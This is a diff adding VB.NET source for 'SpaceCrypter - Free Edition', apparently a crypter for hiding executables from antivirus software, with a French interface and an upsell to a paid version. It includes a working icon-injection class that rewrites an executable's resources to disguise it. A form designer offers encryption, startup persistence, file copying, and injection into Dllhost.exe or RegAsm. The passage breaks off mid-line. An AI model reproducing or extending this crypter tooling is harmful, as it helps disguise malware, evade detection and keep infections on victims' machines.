(SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Classe/ChangerDicon.vb new file mode 100644 index 0000000..37bf91b --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Classe/ChangerDicon.vb @@ -0,0 +1,151 @@ +Option Strict On +Option Explicit On +Option Infer On +Imports System.Runtime.InteropServices +Imports System.Security +Public Class IconChanger + + Private Class NativeMethods + + Public Shared Function BeginUpdateResource( + ByVal fileName As String, + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + + Public Shared Function UpdateResource( + ByVal hUpdate As IntPtr, + ByVal type As IntPtr, + ByVal name As IntPtr, + ByVal language As Short, + + ByVal data() As Byte, + ByVal dataSize As Integer) As Boolean + End Function + + Public Shared Function EndUpdateResource( + ByVal hUpdate As IntPtr, + ByVal discard As Boolean) As Boolean + End Function + End Class + + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON As UInteger = 3UI + Const RT_GROUP_ICON As UInteger = 14UI + Dim iconFile As IconFile = IconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Classe/RandomPool.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Classe/RandomPool.vb new file mode 100644 index 0000000..8162b2c --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Classe/RandomPool.vb @@ -0,0 +1,310 @@ +'Creator: Aeonhack +'Date: 5/01/2011 (roughly) +'Site: www.elitevs.net +'Version: 1.4 +'Credits to Vorfin for the original concept. + + +Imports System.Drawing.Drawing2D +Imports System.ComponentModel + +MustInherit Class ThemeControl + Inherits Control + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + B = New Bitmap(1, 1) + G = Graphics.FromImage(B) + End Sub + + Sub AllowTransparent() + SetStyle(ControlStyles.Opaque, False) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + End Sub + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal v As String) + MyBase.Text = v + Invalidate() + End Set + End Property +#End Region + +#Region " Mouse Handling " + + Protected Enum State As Byte + MouseNone = 0 + MouseOver = 1 + MouseDown = 2 + End Enum + + Protected MouseState As State + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + ChangeMouseState(State.MouseNone) + MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseUp(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left Then ChangeMouseState(State.MouseDown) + MyBase.OnMouseDown(e) + End Sub + + Private Sub ChangeMouseState(ByVal e As State) + MouseState = e + Invalidate() + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Not Width = 0 AndAlso Not Height = 0 Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + _Image = value + Invalidate() + End Set + End Property + ReadOnly Property ImageWidth() As Integer + Get + If _Image Is Nothing Then Return 0 + Return _Image.Width + End Get + End Property + ReadOnly Property ImageTop() As Integer + Get + If _Image Is Nothing Then Return 0 + Return Height \ 2 - _Image.Height \ 2 + End Get + End Property + + Private _Size As Size + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + Private _Brush As SolidBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + If _NoRounding Then Return + + B.SetPixel(rect.X, rect.Y, c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) + B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) + DrawText(a, c, x, 0) + End Sub + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) + If String.IsNullOrEmpty(Text) Then Return + _Size = G.MeasureString(Text, Font).ToSize + _Brush = New SolidBrush(c) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(Text, Font, _Brush, x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, Height \ 2 - _Size.Height \ 2 + y) + End Select + End Sub + + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) + DrawIcon(a, x, 0) + End Sub + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If _Image Is Nothing Then Return + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(_Image, x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawImage(_Image, Width - _Image.Width - x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, Height \ 2 - _Image.Height \ 2) + End Select + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub +#End Region + +End Class + + +Class RandomPool + Inherits ThemeControl + + Private GO As Graphics, _Size As Size + Event CharacterSelection(ByVal s As Object, ByVal c As Char) + + Sub New() + GO = Graphics.FromHwndInternal(Handle) + End Sub + + Private _Range As String = "0123456789ABCDEF" + Property Range() As String + Get + Return _Range + End Get + Set(ByVal v As String) + _Range = v + UpdateSize() + End Set + End Property + + Private _RangePadding As Integer = 2 + Public Property RangePadding() As Integer + Get + Return _RangePadding + End Get + Set(ByVal v As Integer) + _RangePadding = v + UpdateSize() + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal v As Font) + MyBase.Font = v + UpdateSize() + End Set + End Property + + Private _Brush As Brush = SystemBrushes.ControlText + Overrides Property ForeColor As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal v As Color) + MyBase.ForeColor = v + _Brush = New SolidBrush(v) + Invalidate() + End Set + End Property + + Private Count As Integer + Private Sub UpdateSize() + _Size = New Size(0, 0) + + Dim T As Size + For I As Integer = 0 To _Range.Length - 1 + T = GO.MeasureString(_Range(I), Font).ToSize() + T.Width += _RangePadding + T.Height += _RangePadding + + If T.Height > _Size.Height Then _Size.Height = T.Height + If T.Width > _Size.Width Then _Size.Width = T.Width + Next + + Randomize() + End Sub + + Private Index1, Index2 As Integer, Items As Char() + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + Index1 = GetIndex(e.X, e.Y) + If Index1 = Index2 Then Return + + RaiseEvent CharacterSelection(Me, Items(Index1)) + + Randomize(Index1 - Count) + Randomize(Index1 - 1) + Randomize(Index1) + Randomize(Index1 + 1) + Randomize(Index1 + Count) + + Index2 = Index1 + Invalidate() + End Sub + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Size.Width = 0 Then UpdateSize() Else Randomize() + MyBase.OnSizeChanged(e) + End Sub + + Overrides Sub PaintHook() + G.Clear(BackColor) + + For X As Integer = 0 To Width - 1 Step _Size.Width + For Y As Integer = 0 To Height - 1 Step _Size.Height + G.DrawString(Items(GetIndex(X, Y)), Font, _Brush, X, Y) + Next + Next + + End Sub + + Private Function GetIndex(ByVal x As Integer, ByVal y As Integer) As Integer + Return (y \ _Size.Height) * Count + (x \ _Size.Width) + End Function + + Private RN As Random + Private Sub Randomize() + Count = CInt(Math.Ceiling(Width / _Size.Width)) + + RN = New Random(Guid.NewGuid.GetHashCode) + Items = New Char(CInt(Math.Ceiling(Width / _Size.Width) * Math.Ceiling(Height / _Size.Height)) - 1) {} + + For I As Integer = 0 To Items.Length - 1 + Items(I) = _Range(RN.Next(_Range.Length)) + Next + + Invalidate() + End Sub + Private Sub Randomize(ByVal index As Integer) + If index > -1 AndAlso index < Items.Length Then Items(index) = _Range(RN.Next(_Range.Length)) + End Sub + +End Class \ No newline at end of file diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.Designer.vb b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.Designer.vb new file mode 100644 index 0000000..527bb26 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.Designer.vb @@ -0,0 +1,519 @@ + +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form remplace la méthode Dispose pour nettoyer la liste des composants. + + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Requise par le Concepteur Windows Form + Private components As System.ComponentModel.IContainer + + 'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form + 'Elle peut être modifiée à l'aide du Concepteur Windows Form. + 'Ne la modifiez pas à l'aide de l'éditeur de code. + + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button1 = New System.Windows.Forms.Button() + Me.ChargerFichier = New System.Windows.Forms.Button() + Me.TextBoxFichier = New System.Windows.Forms.TextBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.TabControl1 = New System.Windows.Forms.TabControl() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.TextBoxEncryption = New System.Windows.Forms.TextBox() + Me.ButtonChangerIco = New System.Windows.Forms.Button() + Me.PictureIcon = New System.Windows.Forms.PictureBox() + Me.CheckBoxIcon = New System.Windows.Forms.CheckBox() + Me.Label8 = New System.Windows.Forms.Label() + Me.Label7 = New System.Windows.Forms.Label() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.Label12 = New System.Windows.Forms.Label() + Me.Label11 = New System.Windows.Forms.Label() + Me.Label10 = New System.Windows.Forms.Label() + Me.Label9 = New System.Windows.Forms.Label() + Me.Acheter = New System.Windows.Forms.Button() + Me.Label6 = New System.Windows.Forms.Label() + Me.GroupBoxType = New System.Windows.Forms.GroupBox() + Me.RadioButtonNatif = New System.Windows.Forms.RadioButton() + Me.RadioButtonNet = New System.Windows.Forms.RadioButton() + Me.GroupBoxInjection = New System.Windows.Forms.GroupBox() + Me.RadioButtonReg = New System.Windows.Forms.RadioButton() + Me.RadioButtonDll = New System.Windows.Forms.RadioButton() + Me.GroupBoxCopier = New System.Windows.Forms.GroupBox() + Me.TextBoxFichiercop = New System.Windows.Forms.TextBox() + Me.Label5 = New System.Windows.Forms.Label() + Me.TextBoxDossier = New System.Windows.Forms.TextBox() + Me.Label4 = New System.Windows.Forms.Label() + Me.GroupBoxStartup = New System.Windows.Forms.GroupBox() + Me.TextBoxClestartup = New System.Windows.Forms.TextBox() + Me.Label3 = New System.Windows.Forms.Label() + Me.Button2 = New System.Windows.Forms.Button() + Me.ProgressBar1 = New System.Windows.Forms.ProgressBar() + Me.RandomPool1 = New SpaceCrypter___Free_Edition.RandomPool() + Me.TabControl1.SuspendLayout() + Me.TabPage1.SuspendLayout() + CType(Me.PictureIcon, System.ComponentModel.ISupportInitialize).BeginInit() + Me.TabPage2.SuspendLayout() + Me.GroupBoxType.SuspendLayout() + Me.GroupBoxInjection.SuspendLayout() + Me.GroupBoxCopier.SuspendLayout() + Me.GroupBoxStartup.SuspendLayout() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(486, 197) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(75, 23) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "Crypter" + Me.Button1.UseVisualStyleBackColor = True + ' + 'ChargerFichier + ' + Me.ChargerFichier.Location = New System.Drawing.Point(387, 22) + Me.ChargerFichier.Name = "ChargerFichier" + Me.ChargerFichier.Size = New System.Drawing.Size(75, 20) + Me.ChargerFichier.TabIndex = 1 + Me.ChargerFichier.Text = "Ouvrir" + Me.ChargerFichier.TextAlign = System.Drawing.ContentAlignment.TopCenter + Me.ChargerFichier.UseVisualStyleBackColor = True + ' + 'TextBoxFichier + ' + Me.TextBoxFichier.Location = New System.Drawing.Point(8, 22) + Me.TextBoxFichier.Name = "TextBoxFichier" + Me.TextBoxFichier.ReadOnly = True + Me.TextBoxFichier.Size = New System.Drawing.Size(373, 20) + Me.TextBoxFichier.TabIndex = 2 + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Location = New System.Drawing.Point(5, 6) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(88, 13) + Me.Label1.TabIndex = 3 + Me.Label1.Text = "Fichier a crypter :" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Location = New System.Drawing.Point(5, 57) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(88, 13) + Me.Label2.TabIndex = 4 + Me.Label2.Text = "Clé d'encryption :" + ' + 'TabControl1 + ' + Me.TabControl1.Controls.Add(Me.TabPage1) + Me.TabControl1.Controls.Add(Me.TabPage2) + Me.TabControl1.Location = New System.Drawing.Point(1, 1) + Me.TabControl1.Name = "TabControl1" + Me.TabControl1.SelectedIndex = 0 + Me.TabControl1.Size = New System.Drawing.Size(476, 245) + Me.TabControl1.TabIndex = 8 + ' + 'TabPage1 + ' + Me.TabPage1.Controls.Add(Me.TextBoxEncryption) + Me.TabPage1.Controls.Add(Me.ButtonChangerIco) + Me.TabPage1.Controls.Add(Me.PictureIcon) + Me.TabPage1.Controls.Add(Me.CheckBoxIcon) + Me.TabPage1.Controls.Add(Me.Label8) + Me.TabPage1.Controls.Add(Me.Label7) + Me.TabPage1.Controls.Add(Me.RandomPool1) + Me.TabPage1.Controls.Add(Me.ChargerFichier) + Me.TabPage1.Controls.Add(Me.Label1) + Me.TabPage1.Controls.Add(Me.Label2) + Me.TabPage1.Controls.Add(Me.TextBoxFichier) + Me.TabPage1.Location = New System.Drawing.Point(4, 22) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(468, 219) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = "Accueil" + Me.TabPage1.UseVisualStyleBackColor = True + ' + 'TextBoxEncryption + ' + Me.TextBoxEncryption.Location = New System.Drawing.Point(8, 73) + Me.TextBoxEncryption.Name = "TextBoxEncryption" + Me.TextBoxEncryption.ReadOnly = True + Me.TextBoxEncryption.Size = New System.Drawing.Size(454, 20) + Me.TextBoxEncryption.TabIndex = 10 + ' + 'ButtonChangerIco + ' + Me.ButtonChangerIco.Enabled = False + Me.ButtonChangerIco.Location = New System.Drawing.Point(290, 188) + Me.ButtonChangerIco.Name = "ButtonChangerIco" + Me.ButtonChangerIco.Size = New System.Drawing.Size(106, 23) + Me.ButtonChangerIco.TabIndex = 9 + Me.ButtonChangerIco.Text = "Charger un icon" + Me.ButtonChangerIco.UseVisualStyleBackColor = True + ' + 'PictureIcon + ' + Me.PictureIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.PictureIcon.Location = New System.Drawing.Point(402, 167) + Me.PictureIcon.Name = "PictureIcon" + Me.PictureIcon.Size = New System.Drawing.Size(44, 44) + Me.PictureIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage + Me.PictureIcon.TabIndex = 8 + Me.PictureIcon.TabStop = False + ' + 'CheckBoxIcon + ' + Me.CheckBoxIcon.AutoSize = True + Me.CheckBoxIcon.Location = New System.Drawing.Point(290, 167) + Me.CheckBoxIcon.Name = "CheckBoxIcon" + Me.CheckBoxIcon.Size = New System.Drawing.Size(89, 17) + Me.CheckBoxIcon.TabIndex = 0 + Me.CheckBoxIcon.Text = "Icon changer" + Me.CheckBoxIcon.UseVisualStyleBackColor = True + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.Font = New System.Drawing.Font("Microsoft Sans Serif", 10.0!) + Me.Label8.Location = New System.Drawing.Point(25, 188) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(145, 17) + Me.Label8.TabIndex = 7 + Me.Label8.Text = "Aucun fichier chargé !" + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.Font = New System.Drawing.Font("Microsoft Sans Serif", 10.0!) + Me.Label7.Location = New System.Drawing.Point(7, 167) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(184, 17) + Me.Label7.TabIndex = 6 + Me.Label7.Text = "Information de votre fichier :" + ' + 'TabPage2 + ' + Me.TabPage2.Controls.Add(Me.Label12) + Me.TabPage2.Controls.Add(Me.Label11) + Me.TabPage2.Controls.Add(Me.Label10) + Me.TabPage2.Controls.Add(Me.Label9) + Me.TabPage2.Controls.Add(Me.Acheter) + Me.TabPage2.Controls.Add(Me.Label6) + Me.TabPage2.Controls.Add(Me.GroupBoxType) + Me.TabPage2.Controls.Add(Me.GroupBoxInjection) + Me.TabPage2.Controls.Add(Me.GroupBoxCopier) + Me.TabPage2.Controls.Add(Me.GroupBoxStartup) + Me.TabPage2.Controls.Add(Me.Button1) + Me.TabPage2.Location = New System.Drawing.Point(4, 22) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(468, 219) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "Options" + Me.TabPage2.UseVisualStyleBackColor = True + ' + 'Label12 + ' + Me.Label12.AutoSize = True + Me.Label12.Location = New System.Drawing.Point(7, 90) + Me.Label12.Name = "Label12" + Me.Label12.Size = New System.Drawing.Size(88, 13) + Me.Label12.TabIndex = 18 + Me.Label12.Text = "Copier le fichier : " + ' + 'Label11 + ' + Me.Label11.AutoSize = True + Me.Label11.Location = New System.Drawing.Point(7, 14) + Me.Label11.Name = "Label11" + Me.Label11.Size = New System.Drawing.Size(100, 13) + Me.Label11.TabIndex = 17 + Me.Label11.Text = "Ajouter un StartUp :" + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.Location = New System.Drawing.Point(260, 14) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(53, 13) + Me.Label10.TabIndex = 16 + Me.Label10.Text = "Injection :" + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.Location = New System.Drawing.Point(257, 72) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(83, 13) + Me.Label9.TabIndex = 15 + Me.Label9.Text = "Type du fichier :" + ' + 'Acheter + ' + Me.Acheter.Font = New System.Drawing.Font("Microsoft Sans Serif", 10.0!) + Me.Acheter.ForeColor = System.Drawing.Color.Red + Me.Acheter.Location = New System.Drawing.Point(285, 170) + Me.Acheter.Name = "Acheter" + Me.Acheter.Size = New System.Drawing.Size(143, 37) + Me.Acheter.TabIndex = 14 + Me.Acheter.Text = "Clique ici" + Me.Acheter.UseVisualStyleBackColor = True + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.Font = New System.Drawing.Font("Microsoft Sans Serif", 10.0!) + Me.Label6.ForeColor = System.Drawing.Color.Red + Me.Label6.Location = New System.Drawing.Point(260, 129) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(194, 34) + Me.Label6.TabIndex = 13 + Me.Label6.Text = "Besoin de plus de fonctions ?" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "Achete SpaceCrypter !" + Me.Label6.TextAlign = System.Drawing.ContentAlignment.BottomCenter + ' + 'GroupBoxType + ' + Me.GroupBoxType.Controls.Add(Me.RadioButtonNatif) + Me.GroupBoxType.Controls.Add(Me.RadioButtonNet) + Me.GroupBoxType.Location = New System.Drawing.Point(257, 83) + Me.GroupBoxType.Name = "GroupBoxType" + Me.GroupBoxType.Size = New System.Drawing.Size(200, 41) + Me.GroupBoxType.TabIndex = 12 + Me.GroupBoxType.TabStop = False + ' + 'RadioButtonNatif + ' + Me.RadioButtonNatif.AutoSize = True + Me.RadioButtonNatif.Checked = True + Me.RadioButtonNatif.Location = New System.Drawing.Point(124, 15) + Me.RadioButtonNatif.Name = "RadioButtonNatif" + Me.RadioButtonNatif.Size = New System.Drawing.Size(47, 17) + Me.RadioButtonNatif.TabIndex = 1 + Me.RadioButtonNatif.TabStop = True + Me.RadioButtonNatif.Text = "Natif" + Me.RadioButtonNatif.UseVisualStyleBackColor = True + ' + 'RadioButtonNet + ' + Me.RadioButtonNet.AutoSize = True + Me.RadioButtonNet.Location = New System.Drawing.Point(28, 15) + Me.RadioButtonNet.Name = "RadioButtonNet" + Me.RadioButtonNet.Size = New System.Drawing.Size(50, 17) + Me.RadioButtonNet.TabIndex = 0 + Me.RadioButtonNet.Text = ".NET" + Me.RadioButtonNet.UseVisualStyleBackColor = True + ' + 'GroupBoxInjection + ' + Me.GroupBoxInjection.Controls.Add(Me.RadioButtonReg) + Me.GroupBoxInjection.Controls.Add(Me.RadioButtonDll) + Me.GroupBoxInjection.Location = New System.Drawing.Point(257, 24) + Me.GroupBoxInjection.Name = "GroupBoxInjection" + Me.GroupBoxInjection.Size = New System.Drawing.Size(200, 41) + Me.GroupBoxInjection.TabIndex = 10 + Me.GroupBoxInjection.TabStop = False + ' + 'RadioButtonReg + ' + Me.RadioButtonReg.AutoSize = True + Me.RadioButtonReg.Enabled = False + Me.RadioButtonReg.Location = New System.Drawing.Point(125, 14) + Me.RadioButtonReg.Name = "RadioButtonReg" + Me.RadioButtonReg.Size = New System.Drawing.Size(65, 17) + Me.RadioButtonReg.TabIndex = 1 + Me.RadioButtonReg.Text = "RegAsm" + Me.RadioButtonReg.UseVisualStyleBackColor = True + ' + 'RadioButtonDll + ' + Me.RadioButtonDll.AutoSize = True + Me.RadioButtonDll.Checked = True + Me.RadioButtonDll.Location = New System.Drawing.Point(6, 14) + Me.RadioButtonDll.Name = "RadioButtonDll" + Me.RadioButtonDll.Size = New System.Drawing.Size(77, 17) + Me.RadioButtonDll.TabIndex = 0 + Me.RadioButtonDll.TabStop = True + Me.RadioButtonDll.Text = "Dllhost.exe" + Me.RadioButtonDll.UseVisualStyleBackColor = True + ' + 'GroupBoxCopier + ' + Me.GroupBoxCopier.Controls.Add(Me.TextBoxFichiercop) + Me.GroupBoxCopier.Controls.Add(Me.Label5) + Me.GroupBoxCopier.Controls.Add(Me.TextBoxDossier) + Me.GroupBoxCopier.Controls.Add(Me.Label4) + Me.GroupBoxCopier.Location = New System.Drawing.Point(7, 105) + Me.GroupBoxCopier.Name = "GroupBoxCopier" + Me.GroupBoxCopier.Size = New System.Drawing.Size(244, 102) + Me.GroupBoxCopier.TabIndex = 9 + Me.GroupBoxCopier.TabStop = False + ' + 'TextBoxFichiercop + ' + Me.TextBoxFichiercop.Location = New System.Drawing.Point(6, 71) + Me.TextBoxFichiercop.Name = "TextBoxFichiercop" + Me.TextBoxFichiercop.Size = New System.Drawing.Size(232, 20) + Me.TextBoxFichiercop.TabIndex = 10 + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Location = New System.Drawing.Point(6, 55) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(81, 13) + Me.Label5.TabIndex = 9 + Me.Label5.Text = "Nom du fichier :" + ' + 'TextBoxDossier + ' + Me.TextBoxDossier.Location = New System.Drawing.Point(6, 30) + Me.TextBoxDossier.Name = "TextBoxDossier" + Me.TextBoxDossier.Size = New System.Drawing.Size(232, 20) + Me.TextBoxDossier.TabIndex = 8 + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.Location = New System.Drawing.Point(3, 14) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(86, 13) + Me.Label4.TabIndex = 0 + Me.Label4.Text = "Nom du 